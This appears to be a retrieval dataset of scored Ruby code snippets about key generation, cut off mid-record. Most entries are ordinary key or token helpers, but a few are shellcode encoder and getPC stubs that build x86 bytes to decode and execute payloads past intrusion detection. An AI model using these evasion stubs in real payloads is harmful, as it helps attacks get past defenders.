"text": "def getPCStub(getPCDestReg)\n badchars = @module_metadata['badchars']\n\n gp_regs = Array[Rex::Arch::X86::EAX, Rex::Arch::X86::ECX, Rex::Arch::X86::EDX, Rex::Arch::X86::EBX, Rex::Arch::X86::ESI, Rex::Arch::X86::EDI]\n \n # random register\n reg1 = gp_regs[Random.rand(6)]\n\n fnvKey = fnv1_32(Rex::Arch::X86.pack_dword(@@keyVal))\n\n plainGetPCStub = Ebnids::GetPCStub.stackGetPC(getPCDestReg, badchars) # plaintext getPC stub\n encodedGetPCStub = (plainGetPCStub.unpack('V')[0] ^ fnvKey) # encode stub using hash of key\n\n fnvPlainGetPCStub = fnv1_32(plainGetPCStub)\n\n stub = Rex::Arch::X86.jmp_short(0x20) + # jmp short start_stub\n\n # Fowler–Noll–Vo 32-bit non-cryptographic hash function as per: http://www.isthe.com/chongo/tech/comp/fnv/\n Rex::Arch::X86.push_reg(Rex::Arch::X86::ESI) + \n Rex::Arch::X86.push_reg(Rex::Arch::X86::EDI) +\n \"\\x8B\" + (0x44 + (8 * Rex::Arch::X86::ESI)).chr + \"\\x24\\x0C\" + # MOV ESI, [ESP + 0x0C]\n \"\\x8B\" + (0x44 + (8 * Rex::Arch::X86::ECX)).chr + \"\\x24\\x10\" + # MOV ECX, [ESP + 0x10]\n Rex::Arch::X86.mov_dword(Rex::Arch::X86::EAX, 0x811C9DC5) + # fnv_32_basis\n Rex::Arch::X86.mov_dword(Rex::Arch::X86::EDI, 0x1000193) + # fnv_32_prime\n # fnv_loop:\n \"\\xF7\\xE7\" + # MUL EDI\n \"\\x32\\x06\" + # XOR AL, [ESI]\n \"\\x46\" + # INC ESI\n Rex::Arch::X86.loop(-7) + # loop fnv_loop\n Rex::Arch::X86.pop_dword(Rex::Arch::X86::EDI) +\n Rex::Arch::X86.pop_dword(Rex::Arch::X86::ESI) +\n \"\\xC2\\x08\\x00\" + # RETN 8\n\n # start_stub:\n Rex::Arch::X86.xor_reg(@@keyReg, @@keyReg) + # XOR @@keyReg, @@keyReg\n\n # nextKey:\n (0x40 + @@keyReg).chr + # INC @@keyReg\n Rex::Arch::X86.push_reg(@@keyReg) + # PUSH @@keyReg (save for later)\n Rex::Arch::X86.mov_reg(reg1, Rex::Arch::X86::ESP) + # MOV reg1, ESP\n\n Rex::Arch::X86.push_byte(4) + # push 4\n Rex::Arch::X86.push_reg(reg1) # PUSH reg1\n\n # re-randomize\n reg1 = gp_regs[Random.rand(6)] \n\n stub = stub + Rex::Arch::X86.call(-(stub.bytesize + 3)) + # CALL fnv()\n \"\\x68\" + Rex::Arch::X86.pack_dword(encodedGetPCStub) + # PUSH encodedGetPCStub\n \"\\x31\\x04\\x24\" + # XOR [ESP], EAX\n Rex::Arch::X86.mov_reg(reg1, Rex::Arch::X86::ESP) +\n\n Rex::Arch::X86.push_byte(4) + # push 4 NOTE: depends on the size of encodedGetPCStub which is currently presumed static (DWORD-size)\n Rex::Arch::X86.push_reg(reg1) # PUSH reg1\n\n # re-randomize\n reg1 = gp_regs[Random.rand(6)] \n\n stub = stub + Rex::Arch::X86.call(-(stub.bytesize + 3)) + # CALL fnv()\n \"\\x3D\" + Rex::Arch::X86.pack_dword(fnvPlainGetPCStub) + # CMP EAX, fnv(plainGetPCStub)\n Rex::Arch::X86.je(0x04) + # je executeGetPC\n Rex::Arch::X86.pop_dword(reg1) + # remove pushed stub from stack\n Rex::Arch::X86.pop_dword(@@keyReg) + # restore @@keyReg\n\n Rex::Arch::X86.jmp_short(-0x29) + # JMP SHORT nextKey\n Rex::Arch::X86.call_reg(Rex::Arch::X86::ESP) + # CALL ESP\n Rex::Arch::X86.sub(-5, getPCDestReg, badchars, false, true) + # adjust for additional bytes\n Rex::Arch::X86.pop_dword(@@keyReg) + # remove pushed stub from stack\n Rex::Arch::X86.pop_dword(@@keyReg) # restore @@keyReg \n\n return stub\n end",
"title": ""
},
{
"docid": "aa3322bbe19b08d551c38863d439a8d1",
"score": "0.5797052",
"text": "def generate_code\n self.code = SecureRandom.uuid if code.blank?\n end",
"title": ""
},
{
"docid": "1e47fc57c3741366d9322d285fe5e399",
"score": "0.5770713",
"text": "def set_keys\n self.auth = gen_key('auth') if auth.blank?\n self.mkey = gen_key('mkey') if mkey.blank?\n end",
"title": ""
},
{
"docid": "ffc5749ccbaceeac0c002db657076302",
"score": "0.57559055",
"text": "def generate_key\n length = 5\n begin\n self.key = SecureRandom.urlsafe_base64 length\n end while Invite.exists?(key: self.key)\n end",
"title": ""
},
{
"docid": "f5d919fba2dca7531fe3bb54e8eb575a",
"score": "0.5705038",
"text": "def generate_key\n self.key = SecureRandom.hex(KEY_LENGTH / 2)\n end",
"title": ""
},
{
"docid": "8946ce75ef685fec6be1f0fed0b4f73a",
"score": "0.5693342",
"text": "def host_key_regen\n send_req(act: :host_key_regen)\n end",
"title": ""
},
{
"docid": "a0e71d5f40ef0e698bb87e0e07c4145f",
"score": "0.56844443",
"text": "def generate_personal_key\n self.personal_key = OaUtils.generate_random_key\n self.state = :active\n end",
"title": ""
},
{
"docid": "5d30cf683cc6ce61bb0c26cf0c295e46",
"score": "0.5662739",
"text": "def set_keys\n if self.private_changed? and self.private\n if self.moderator_key.blank?\n self.moderator_key = SecureRandom.hex(4)\n end\n if self.attendee_key.blank?\n self.attendee_key = SecureRandom.hex(4)\n end\n end\n end",
"title": ""
},
{
"docid": "6d63f81bab6b0866034f0489e336912f",
"score": "0.5658085",
"text": "def generate_api_key\n begin\n self.api_key = SecureRandom.hex(16)\n end while self.class.exists?(api_key: api_key)\n self.save\n self.api_key\n end",
"title": ""
},
{
"docid": "efa05936d14eae297b5ca2cbd358e1a8",
"score": "0.564194",
"text": "def generate_validation_key\n self.validation_key = SecureRandom.base64(8)\n end",
"title": ""
},
{
"docid": "556a8e2538d8f466c074d8fca360bc81",
"score": "0.5633543",
"text": "def random_key_gen(key_len = 32, raw = false)\n @master_key = random_bytes key_len\n raw ? @master_key : Base64.strict_encode64(@master_key)\n end",
"title": ""
},
{
"docid": "a5ba2ca08de0c67e518063e47db5413f",
"score": "0.5632559",
"text": "def generate_decoder_stub(state)\n\t\tkey_reg = Rex::Poly::LogicalRegister::X86.new('key')\n\t\tendb = Rex::Poly::SymbolicBlock::End.new\n\t\tcld = Rex::Poly::LogicalBlock.new('cld', \"\\xfc\")\n\t\tinit_key = Rex::Poly::LogicalBlock.new('init_key',\n\t\t\tProc.new { |b| (0xb8 + b.regnum_of(key_reg)).chr + 'XORK' })\n\t\tpopeip = Rex::Poly::LogicalBlock.new('popeip', \"\\x5e\")\n\t\tpusheip = Rex::Poly::LogicalBlock.new('pusheip', \"\\x56\")\n\t\txor = Rex::Poly::LogicalBlock.new('xor',\n\t\t\tProc.new { |b| \"\\x31\" + (6 + (8 * b.regnum_of(key_reg))).chr })\n\t\tlodsd = Rex::Poly::LogicalBlock.new('lodsd', \"\\xad\")\n\t\tadd = Rex::Poly::LogicalBlock.new('add',\n\t\t\tProc.new { |b| \"\\x01\" + (0xc0 + b.regnum_of(key_reg)).chr })\n\t\ttest = Rex::Poly::LogicalBlock.new('test', \"\\x85\\xc0\")\n\t\tjnz = Rex::Poly::LogicalBlock.new('jnz',\n\t\t\tProc.new { |b| \"\\x75\" + [ (0x100 - (b.offset_of(b) - b.offset_of(xor) + 2)) ].pack('C') })\n\t\tfin = Rex::Poly::LogicalBlock.new('ret', \"\\xc3\")\n\t\tjmp = Rex::Poly::LogicalBlock.new('jmp')\n\t\tcall = Rex::Poly::LogicalBlock.new('call',\n\t\t\tProc.new { |b| \"\\xe8\" + [ (-(b.offset_of(endb) - (b.offset_of(jmp) + 2))) ].pack('V') })\n\t\tjmp.add_perm(\n\t\t\tProc.new { |b| \"\\xeb\" + [ (b.offset_of(fin) + 1 - (b.offset_of(b) + 2)) ].pack('C') })\n\n\t\t# These blocks can be in lots of different places, but should only be\n\t\t# used once.\n\t\tcld.once = true\n\t\tinit_key.once = true\n\n\t\t# This can be improved by making it so init_key and cld can occur\n\t\t# anywhere prior to pusheip.\n\t\tfin.depends_on(jnz)\n\t\tjnz.depends_on(test)\n\t\ttest.depends_on(add)\n\t\tadd.depends_on(lodsd)\n\t\tlodsd.depends_on(xor)\n\t\txor.depends_on(pusheip)\n\t\tpusheip.depends_on(popeip, init_key, cld)\n\t\tcall.depends_on(fin, init_key, cld)\n\t\tjmp.next_blocks(call)\n\t\tjmp.depends_on(init_key, cld)\n\n\t\tjmp.generate([ \n\t\t\tRex::Arch::X86::ESP, \n\t\t\tRex::Arch::X86::EAX, \n\t\t\tRex::Arch::X86::ESI ], nil, state.badchars)\n\tend",
"title": ""
},
{
"docid": "bef3e02d787bfb1143cbb57905b554a8",
"score": "0.56127137",
"text": "def resident_key=(_arg0); end",
"title": ""
},
{
"docid": "371d63415a52b8c7cdea3c71eb44ee56",
"score": "0.5607366",
"text": "def is_pending_recovery!\n self.update_attribute(:verification_key, KeyGenerator.create)\n end",
"title": ""
},
{
"docid": "104f59cd43d7293bfdba8698911ad3e7",
"score": "0.56070685",
"text": "def reserve_key(key); end",
"title": ""
},
{
"docid": "34368b72f7f38e5adb10741b513cd63d",
"score": "0.55929166",
"text": "def keygen(&block)\n jiak.data.class_eval <<-EOS\n define_method(:keygen,&block)\n EOS\n end",
"title": ""
},
{
"docid": "dee5c081bf15ff962e6741e58fce7dad",
"score": "0.55739826",
"text": "def generate\n Puppet.info \"Creating a new SSL key for #{name}\"\n @content = OpenSSL::PKey::RSA.new(Puppet[:keylength].to_i)\n end",
"title": ""
},
{
"docid": "6713d759280d138e8a2602735dace3ac",
"score": "0.5568968",
"text": "def keypair; end",
"title": ""
},
{
"docid": "6713d759280d138e8a2602735dace3ac",
"score": "0.5568968",
"text": "def keypair; end",
"title": ""
},
{
"docid": "6713d759280d138e8a2602735dace3ac",
"score": "0.5568968",
"text": "def keypair; end",
"title": ""
},
{
"docid": "6713d759280d138e8a2602735dace3ac",
"score": "0.5568968",
"text": "def keypair; end",
"title": ""
},
{
"docid": "6713d759280d138e8a2602735dace3ac",
"score": "0.5568968",
"text": "def keypair; end",
"title": ""
},
{
"docid": "b8e4fea0cfab333e2fb68fef7d0af5e7",
"score": "0.55584836",
"text": "def recovery_key_transformation(recoverykey)\n # recovery key stretching phase 1\n recovery_intermediate = recoverykey.split('-').map(&:to_i)\n recovery_intermediate.each do |n|\n n % 11 != 0 && (fail ArgumentError, 'Invalid recovery key')\n end\n recovery_intermediate =\n recovery_intermediate.map { |a| (a / 11) }.pack('v*')\n\n # recovery key stretching phase 2\n recovery_keys = []\n cpu = Metasm.const_get('Ia32').new\n exe = Metasm.const_get('Shellcode').new(cpu)\n cp = Metasm::C::Parser.new(exe)\n bitlocker_struct_src = <<-EOS\n typedef struct {\n unsigned char updated_hash[32];\n unsigned char password_hash[32];\n unsigned char salt[16];\n unsigned long long int hash_count;\n } bitlocker_chain_hash_t;\n EOS\n cp.parse bitlocker_struct_src\n btl_struct = Metasm::C::AllocCStruct.new(cp, cp.find_c_struct(\n 'bitlocker_chain_hash_t'))\n vmk_protected_by_recovery_key = @vmk_entries_hash[\n PROTECTION_RECOVERY_PASSWORD]\n if vmk_protected_by_recovery_key.nil?\n fail ArgumentError, 'No recovery key on disk'\n end\n vmk_protected_by_recovery_key.each do |vmk_encrypted|\n vmk_encrypted_raw = vmk_encrypted[ENTRY_TYPE_NONE][\n VALUE_TYPE_STRETCH_KEY][0]\n stretch_key_salt = vmk_encrypted_raw[4, 16]\n strcpy(Digest::SHA256.digest(recovery_intermediate),\n btl_struct.password_hash)\n strcpy(stretch_key_salt, btl_struct.salt)\n btl_struct.hash_count = 0\n sha256 = Digest::SHA256.new\n btl_struct_raw = btl_struct.str\n btl_struct_hash_count_offset = btl_struct.struct.fldoffset[\n 'hash_count']\n (1..0x100000).each do |c|\n updated_hash = sha256.digest(btl_struct_raw)\n btl_struct_raw = updated_hash + btl_struct_raw \\\n [btl_struct.updated_hash.sizeof..(\n btl_struct_hash_count_offset - 1)] + [c].pack('Q')\n sha256.reset\n end\n recovery_keys += [btl_struct_raw[btl_struct.updated_hash.stroff,\n btl_struct.updated_hash.sizeof]]\n end\n recovery_keys\n end",
"title": ""
},
{
"docid": "2263e60d148e790f5193698f474198cb",
"score": "0.55404913",
"text": "def generate_api_key\n begin\n api_key = SecureRandom.uuid\n end while ApiKey.exists?(:api_key => api_key)\n\n api = ApiKey.new\n api.api_key = api_key\n api.save\n\n self.api_key = api\n end",
"title": ""
},
{
"docid": "6f152f5d432b5fde5b8a703357696d97",
"score": "0.5530889",
"text": "def verify_key; end",
"title": ""
},
{
"docid": "6f152f5d432b5fde5b8a703357696d97",
"score": "0.5530889",
"text": "def verify_key; end",
"title": ""
},
{
"docid": "df8e338330a0de124d90b247918c88f5",
"score": "0.5518232",
"text": "def set_retrieval_key\n base = rand(KEY_POOL_SIZE)\n first_digit = (base / (KEY_POOL_SIZE / 10)).to_i\n remainder = base % (KEY_POOL_SIZE / 10)\n\n self.retrieval_key = first_digit.to_s + rand(1000000000).to_s(36)\n if self.class.find_by_retrieval_key(retrieval_key)\n # that one is already used - go get another\n set_retrieval_key\n end\n end",
"title": ""
},
{
"docid": "598ecd0ab33b512342ea1cc1e44853f4",
"score": "0.55165875",
"text": "def generate_email_validation_key\n self.email_validation_key = SecureRandom.base64(8) if !self.for_testing?\n end",
"title": ""
},
{
"docid": "d9433fe058f92f982dfcbf1f3a4ee3dd",
"score": "0.5515622",
"text": "def key_manager; end",
"title": ""
},
{
"docid": "b39b3526669a7bb83cbe20fe5c1438c3",
"score": "0.55131626",
"text": "def keyGenerator()\n key = rand(1 .. 26) #random key generation\n puts \"Random key generated for shifting is: #{key}\"\n return key \nend",
"title": ""
},
{
"docid": "5c94541699e32fe27cc2b5ee65d4f0e3",
"score": "0.5492818",
"text": "def require_master_key=(_arg0); end",
"title": ""
},
{
"docid": "5c94541699e32fe27cc2b5ee65d4f0e3",
"score": "0.5492818",
"text": "def require_master_key=(_arg0); end",
"title": ""
},
{
"docid": "075a39eba91171fc8885a28190b5b4a5",
"score": "0.5492812",
"text": "def set_key\n self.key = SecureRandom.urlsafe_base64(KEY_LENGTH)\n self.set_key if Url.exists?(key: self.key)\n end",
"title": ""
},
{
"docid": "f0fec52ae4a055405111bbda225fe433",
"score": "0.54852766",
"text": "def set_their_public_key!(their_public_key_x, their_public_key_y, testing_my_private_key:nil)\n # Check if we're actually changing anything\n if(@keys[:their_public_key_x] == their_public_key_x && @keys[:their_public_key_y] == their_public_key_y)\n raise(Error, \"Attempted to cycle to the same key!\")\n end\n\n # We keep a copy of the previous key so we can decrypt any stragglers\n if(@keys[:shared_secret])\n @old_keys = @keys\n end\n\n # The first nonce should be 0\n @keys = {\n :my_nonce => -1,\n :their_nonce => -1,\n }\n\n if TESTING\n @l.error(\"Encryptor: Setting a fake testing key!\")\n @keys[:my_private_key] = testing_my_private_key || (1 + SecureRandom.random_number(ECDH_GROUP.order - 1))\n else\n @keys[:my_private_key] = (1 + SecureRandom.random_number(ECDH_GROUP.order - 1))\n end\n @keys[:my_public_key] = ECDH_GROUP.generator.multiply_by_scalar(@keys[:my_private_key])\n @keys[:their_public_key_x] = their_public_key_x\n @keys[:their_public_key_y] = their_public_key_y\n @keys[:their_public_key] = ECDSA::Point.new(ECDH_GROUP, their_public_key_x, their_public_key_y)\n\n @keys[:shared_secret] = @keys[:their_public_key].multiply_by_scalar(@keys[:my_private_key]).x\n\n @keys[:their_authenticator] = _create_authenticator(\"client\", @preshared_secret)\n @keys[:my_authenticator] = _create_authenticator(\"server\", @preshared_secret)\n\n @keys[:their_write_key] = _create_key(\"client_write_key\")\n @keys[:their_mac_key] = _create_key(\"client_mac_key\")\n @keys[:my_write_key] = _create_key(\"server_write_key\")\n @keys[:my_mac_key] = _create_key(\"server_mac_key\")\n\n return @keys[:my_public_key].x, @keys[:my_public_key].y\n end",
"title": ""
},
{
"docid": "3605cb39e3f21f2b0bec4ad67cb50da0",
"score": "0.5477347",
"text": "def generate_access_key\n access_keys.generate_new\n end",
"title": ""
},
{
"docid": "a7aa8e537a47e1302cd27312088faf6f",
"score": "0.54660785",
"text": "def set_key!\n self.new_user_key = [*('a'..'z'),*('0'..'9')].shuffle[0,8].join\n end",
"title": ""
},
{
"docid": "3358f0012e0b782b42be1b195b05bf8f",
"score": "0.54658985",
"text": "def generate_keys\n key = OpenSSL::PKey::RSA.new 2048\n self.pubkey = key.public_key.to_s\n self.privkey = key.to_s\n self.save\n end",
"title": ""
},
{
"docid": "cd5a03362ac324dc77305752afa43015",
"score": "0.5462875",
"text": "def generate_email_validation_key\n # Auto activated for employer\n # self.email_validation_key = SecureRandom.base64(8)\n end",
"title": ""
},
{
"docid": "277029c2e658675afb39f6bcc5f80dde",
"score": "0.54507816",
"text": "def randomkey; end",
"title": ""
},
{
"docid": "277029c2e658675afb39f6bcc5f80dde",
"score": "0.54507816",
"text": "def randomkey; end",
"title": ""
},
{
"docid": "de3db5b99dc3f9a1a8fcf56efec253af",
"score": "0.54498404",
"text": "def set_secret_code\n self.secret_code = loop do\n token = rand(36**6).to_s(36).upcase\n break token unless ActivationCallRequest.exists?(secret_code: token)\n end\n end",
"title": ""
},
{
"docid": "06e0cf3119eae39ae66facfc629d49c2",
"score": "0.544951",
"text": "def generate_lookup(fixed_size: 2)\n \n @temp_list = []\n @dx = Dynarex.new('codes[fixedsize]/code(index,value)')\n @dx.fixedsize = @fixed_size = fixed_size\n\n #chars = (0..9).to_a + Array.new(7) + ('A'..'Z').to_a \\\n # + Array.new(6) + ('a'..'z').to_a\n @chars = (0..9).to_a + ('A'..'Z').to_a + ('a'..'z').to_a \n\n @chars.each do |char|\n \n s = get_random_chars(2)\n @temp_list << s\n @dx.create({index: char, value: s}) if char\n \n end \n \n # ensure the values are unique\n values = @dx.all.map(&:value)\n raise DynarexPasswordError, 'Values are not uniqe!' if values != values.uniq\n \n end",
"title": ""
},
{
"docid": "50bf818e50edee41643c226dcaa2069f",
"score": "0.54488045",
"text": "def generate_keys()\n bobhi = read_key(\"key_bobhi345.txt\")\n floatlift = read_key(\"key_FloatLift.txt\")\n sirbob = read_key(\"key_sirbob3.txt\")\n api = read_key(\"key_JustForTheApiLul.txt\")\n return [bobhi, floatlift, sirbob, api]\nend",
"title": ""
},
{
"docid": "9926435d79dd991a3f015d0044146c1e",
"score": "0.5447073",
"text": "def set_code_and_price_group()\n\t\t@foreign_postal_code = '123456789' #Default value for now as it is not validated and has no postage impact.\n\t\tif @mail_class == 'PG'\n\t\t\tinfo = {'CA' => 'Price Group 1', 'MX' => 'Price Group 2', 'HK' => 'Price Group 3', 'AL' => 'Price Group 4', 'FI' => 'Price Group 5', 'IN' => 'Price Group 6', 'DO' => 'Price Group 7', 'PE' => 'Price Group 8'}\n\t\t\ttemp = info.keys\n\t\t\t@destination_country_code = temp[rand(temp.size)]\n\t\t\t@customer_reference_number_1 = info[@destination_country_code]\n\t\telse\n\t\t\tinfo = {'CA' => 'Price Group 1', 'MX' => 'Price Group 2', 'HK' => 'Price Group 3', 'AL' => 'Price Group 4', 'FI' => 'Price Group 5', 'IN' => 'Price Group 6', 'CM' => 'Price Group 7', 'EG' => 'Price Group 8', 'JM' => 'Price Group 9'}\n\t\t\ttemp = info.keys\n\t\t\t@destination_country_code = temp[rand(temp.size)]\n\t\t\t@customer_reference_number_1 = info[@destination_country_code]\n\t\tend\n\tend",
"title": ""
},
{
"docid": "923ec2d8b39d94f4f1176d25267423f1",
"score": "0.54385066",
"text": "def generate_key\n SecureRandom.hex(32)\nend",
"title": ""
},
{
"docid": "588e949eb54b736f7a7e964a07d7ef53",
"score": "0.54269934",
"text": "def kid_generator; end",
"title": ""
},
{
"docid": "588e949eb54b736f7a7e964a07d7ef53",
"score": "0.54269934",
"text": "def kid_generator; end",
"title": ""
},
{
"docid": "588e949eb54b736f7a7e964a07d7ef53",
"score": "0.54269934",
"text": "def kid_generator; end",
"title": ""
},
{
"docid": "665f0c6231d3309530a610fdd89164fc",
"score": "0.54178476",
"text": "def autogenerate_code\n self.code = String.random_alphanumeric if self.code.length == 0\n end",
"title": ""
},
{
"docid": "b79a99a43cd27ad2a7a9059abe0235f5",
"score": "0.54091454",
"text": "def generate(\n key,\n seconds = 10,\n length = 64,\n char_pool = (32..126).map(&:chr).join.gsub(/\\s/, '')\n )\n char_pool_size = char_pool.size\n new_pw = (1..length.to_i).map{\n char_pool[SecureRandom.random_number(char_pool_size)]\n }.join\n \n if add(key, new_pw) \n get(key, seconds)\n end\n end",
"title": ""
},
{
"docid": "eae073fc6f92679c0dcc00dbe07db3fa",
"score": "0.54084116",
"text": "def generate_api_key!\n\t\t@api_key = Digest::SHA1.hexdigest((Time.now.to_f + rand(100) * rand()).to_s) \n\tend",
"title": ""
},
{
"docid": "d00e4f813c425d27faefe94086b1ed93",
"score": "0.53949404",
"text": "def generate_code\n # only need to do this if code not set\n return if code\n\n ensure_unique_code\n end",
"title": ""
},
{
"docid": "8b1484655662a65b1e215f67798dcbbf",
"score": "0.53779465",
"text": "def generate_api_key\n loop do\n token = SecureRandom.base64.tr('+/=', 'Qrt')\n break token unless self.class.exists?(api_key: token)\n end\n end",
"title": ""
},
{
"docid": "7ecc44e332fff53fd9b5e0b53797d427",
"score": "0.537324",
"text": "def generate_random_key\n (0...8).map { 65.+(rand(25)).chr }.join\n end",
"title": ""
},
{
"docid": "befc1a4015cc5a94c01b2e60da7c8784",
"score": "0.53722894",
"text": "def generate_otp_backup_codes\n codes = []\n hashed_codes = []\n number_of_codes = 10\n code_length = 32\n\n number_of_codes.times do\n code = SecureRandom.hex(code_length / 2)\n codes << code\n hashed_codes << Devise::Encryptor.digest(self.class, code)\n end\n\n self.otp_backup_codes = hashed_codes\n\n codes\n end",
"title": ""
},
{
"docid": "ba7138ecb52b891bfc8013825003e321",
"score": "0.53721416",
"text": "def create_pe(key,value)\n Thread.current[:current_user_uri] = 'com:mdsol:users:gabraham'\n \n s = Subject.new(\n study_uuid: SecureRandom.uuid,\n study_site_uuid: SecureRandom.uuid,\n site_uuid: SecureRandom.uuid,\n subject_identifier: \"Subject-#{rand(1000)}\")\n s.save!\n \n ac = ActivationCode.new\n ac.save!\n \n #tou_don = TouDpnAgreement.where(\n #tou_dpn = TouDpnAgreement.offset(rand(TouDpnAgreement.count)).first\n tou_dpn = TouDpnAgreement.where(language_code:key,country_code:value).last\n pe = PatientEnrollment.new(\n activation_code: ac,\n subject: s,\n tou_dpn_agreement: tou_dpn,\n language_code: tou_dpn.language_code,\n enrollment_type: 'in-person',\n country_code:value )\n pe.save!\n \n puts \"Country #{value} Language #{key} Activation Code #{pe.activation_code.activation_code}\"\n \n\nend",
"title": ""
},
{
"docid": "dfa2c2288eb0048f9e7f561356b00d06",
"score": "0.5366053",
"text": "def getPCStub(getPCDestReg)\n\n badchars = @module_metadata['badchars']\n\n # Hardcoded CreateFileMappingA address on Windows 7 Ultimate (64-bit) SP1 (EN)\n createFileMappingA = 0x759554ce\n # Hardcoded MapViewOfFile address on Windows 7 Ultimate (64-bit) SP1 (EN)\n mapViewOfFile = 0x759518bd\n\n pageExecReadWriteCommit = 0x08000040\n fileMapReadFileMapWrite = 0x6\n fileMapExecuteFileMapReadFileMapWrite = 0x26\n\n gp_regs = Array[Rex::Arch::X86::EAX, Rex::Arch::X86::ECX, Rex::Arch::X86::EDX, Rex::Arch::X86::EBX, Rex::Arch::X86::ESI, Rex::Arch::X86::EDI]\n gp_regs.shuffle\n\n reg1 = gp_regs[0]\n reg2 = gp_regs[1]\n\n payloadSize = @module_metadata['enc'].bytesize\n\n stub = Rex::Arch::X86.set(reg1, 0, badchars) + \n Rex::Arch::X86.sub(-payloadSize, reg2, badchars) + # reg2 = payloadSize\n Rex::Arch::X86.push_reg(reg1) +\n Rex::Arch::X86.push_reg(reg2) + # push payloadSize\n Rex::Arch::X86.push_reg(reg1) +\n Rex::Arch::X86.sub(-pageExecReadWriteCommit, reg2, badchars) + # reg2 = pageExecReadWriteCommit\n Rex::Arch::X86.push_reg(reg2) + # pageExecReadWriteCommit\n Rex::Arch::X86.push_reg(reg1) +\n Rex::Arch::X86.push_byte(-1) + # INVALID_HANDLE_VALUE\n Rex::Arch::X86.mov_dword(reg2, createFileMappingA) + # reg2 = createFileMappingA\n Rex::Arch::X86.call_reg(reg2) # call CreateFileMappingA\n\n # reshuffle regs\n\n gp_regs = gp_regs - Array[Rex::Arch::X86::EAX]\n gp_regs.shuffle\n\n reg1 = gp_regs[0]\n reg2 = gp_regs[1]\n\n stub = stub + Rex::Arch::X86.push_reg(Rex::Arch::X86::EAX) + # push result of CreateFileMappingA\n Rex::Arch::X86.set(reg1, 0, badchars) + \n Rex::Arch::X86.push_reg(reg1) +\n Rex::Arch::X86.push_reg(reg1) +\n Rex::Arch::X86.push_reg(reg1) +\n Rex::Arch::X86.push_byte(fileMapReadFileMapWrite) + # AccessMode = FILE_MAP_READ | FILE_MAP_WRITE\n Rex::Arch::X86.push_reg(Rex::Arch::X86::EAX) + # push result of CreateFileMappingA\n Rex::Arch::X86.mov_dword(reg2, mapViewOfFile) + # reg2 = mapViewOfFile\n Rex::Arch::X86.call_reg(reg2) # call mapViewOfFile\n\n # reshuffle regs\n gp_regs.shuffle\n\n reg1 = gp_regs[0]\n reg2 = gp_regs[1]\n\n stub = stub + Rex::Arch::X86.pop_dword(reg2) + # pop result of CreateFileMappingA\n Rex::Arch::X86.push_reg(Rex::Arch::X86::EAX) + # push result of MapViewOfFile\n Rex::Arch::X86.set(reg1, 0, badchars) + \n Rex::Arch::X86.push_reg(reg1) +\n Rex::Arch::X86.push_reg(reg1) +\n Rex::Arch::X86.push_reg(reg1) +\n Rex::Arch::X86.push_byte(fileMapExecuteFileMapReadFileMapWrite) + # AccessMode = FILE_MAP_EXECUTE | FILE_MAP_READ | FILE_MAP_WRITE\n Rex::Arch::X86.push_reg(reg2) + # push result of CreateFileMappingA\n Rex::Arch::X86.mov_dword(reg2, mapViewOfFile) + # reg2 = mapViewOfFile\n Rex::Arch::X86.call_reg(reg2) # call mapViewOfFile\n\n stubFinal = \"\\xF3\\xA4\" + # REP MOVSB\n Rex::Arch::X86.mov_reg(getPCDestReg, Rex::Arch::X86::EAX) + # getPCDestReg = EAX\n Rex::Arch::X86.jmp_reg(Rex::Arch::X86.reg_name32(getPCDestReg)) # execute code, getPCDestReg = PC\n\n stub = stub + Rex::Arch::X86.pop_dword(Rex::Arch::X86::EDI) + # pop result of first MapViewOfFile to EDI\n Rex::Arch::X86.sub(-payloadSize, Rex::Arch::X86::ECX, badchars) + # ECX = payloadSize\n # PC to ESI\n \"\\x68\" + Ebnids::GetPCStub.stackGetPC(Rex::Arch::X86::ESI, badchars) + # push (getPC_Stub)\n Rex::Arch::X86.call_reg(Rex::Arch::X86::ESP) + # call ESP\n # adjust\n Rex::Arch::X86.sub(-(stubFinal.bytesize + 3), Rex::Arch::X86::ESI, badchars, false, true) + # ESI += size of stub till appended payload\n # final\n stubFinal \n\n return stub\n end",
"title": ""
},
{
"docid": "136196733dfa47ef581e4a240f774f19",
"score": "0.5359761",
"text": "def make_activation_code\n self.activation_code = self.class.make_key\n end",
"title": ""
},
{
"docid": "f05b03fd4c5fdab7dbe1c2537c4bde94",
"score": "0.53574026",
"text": "def generate_hash_code\n\t\tself.hash_code = rand(999999)\n\tend",
"title": ""
},
{
"docid": "d4214b6fb0ffed020177c60f35def5f7",
"score": "0.53484315",
"text": "def _my_mkpass()\n mymkpass = ''\n 9.to_i.times{ mymkpass << (65 + rand(25)).chr }\n return mymkpass\nend",
"title": ""
},
{
"docid": "8dda17042ed43186469061a40cbd7335",
"score": "0.5344771",
"text": "def send_kexinit; end",
"title": ""
},
{
"docid": "8dda17042ed43186469061a40cbd7335",
"score": "0.5344771",
"text": "def send_kexinit; end",
"title": ""
},
{
"docid": "e1b5c9f89aaa173e56dcfc7c0cf48802",
"score": "0.53442144",
"text": "def create_site_key project_id:, domain:\n # Create the reCAPTCHA client.\n client = ::Google::Cloud::RecaptchaEnterprise.recaptcha_enterprise_service\n\n request = {\n parent: \"projects/#{project_id}\",\n key: {\n display_name: \"any descriptive name for the key\",\n web_settings: {\n allowed_domains: [domain],\n allow_amp_traffic: false,\n integration_type: 1\n }\n }\n }\n\n # Get the name of the created reCAPTCHA site key.\n response = client.create_key request\n recaptcha_site_key = response.name.split(\"/\").last\n puts \"reCAPTCHA Site key created successfully. Site Key: #{recaptcha_site_key}\"\nend",
"title": ""
},
{
"docid": "5ab254444198ece75a789560a137fe3d",
"score": "0.5339315",
"text": "def generate_key\n puts \"please enter return 3 times\"\n cmd = \"ssh-keygen -t rsa\"\n `#{cmd}`\n end",
"title": ""
},
{
"docid": "e4839eb89a896755f547e6c16e781d0f",
"score": "0.53351855",
"text": "def generate_rucaptcha\n generate_rucaptcha_session_id\n\n res = RuCaptcha.generate\n session_val = {\n code: res[0],\n time: Time.now.to_i\n }\n RuCaptcha.cache.write(rucaptcha_sesion_key_key, session_val, expires_in: RuCaptcha.config.expires_in)\n res[1]\n end",
"title": ""
},
{
"docid": "4580ab661717f17e3a8889cab4e1b09e",
"score": "0.5321255",
"text": "def generate_validkey(from_string = nil)\n\t\tfrom_string ||= User.sha1(AuthHelper::Utils::random_string(30))\n write_attribute \"validkey\", from_string\n end",
"title": ""
},
{
"docid": "b0937a0e70e4cf69d211dad571fbb6c6",
"score": "0.5321009",
"text": "def initialize(key)\n @key = key\n @k1, @k2 = CMAC.gen_subkeys(@key)\n end",
"title": ""
},
{
"docid": "1f2d46de7d728dab08ef623153f2b2d5",
"score": "0.53202593",
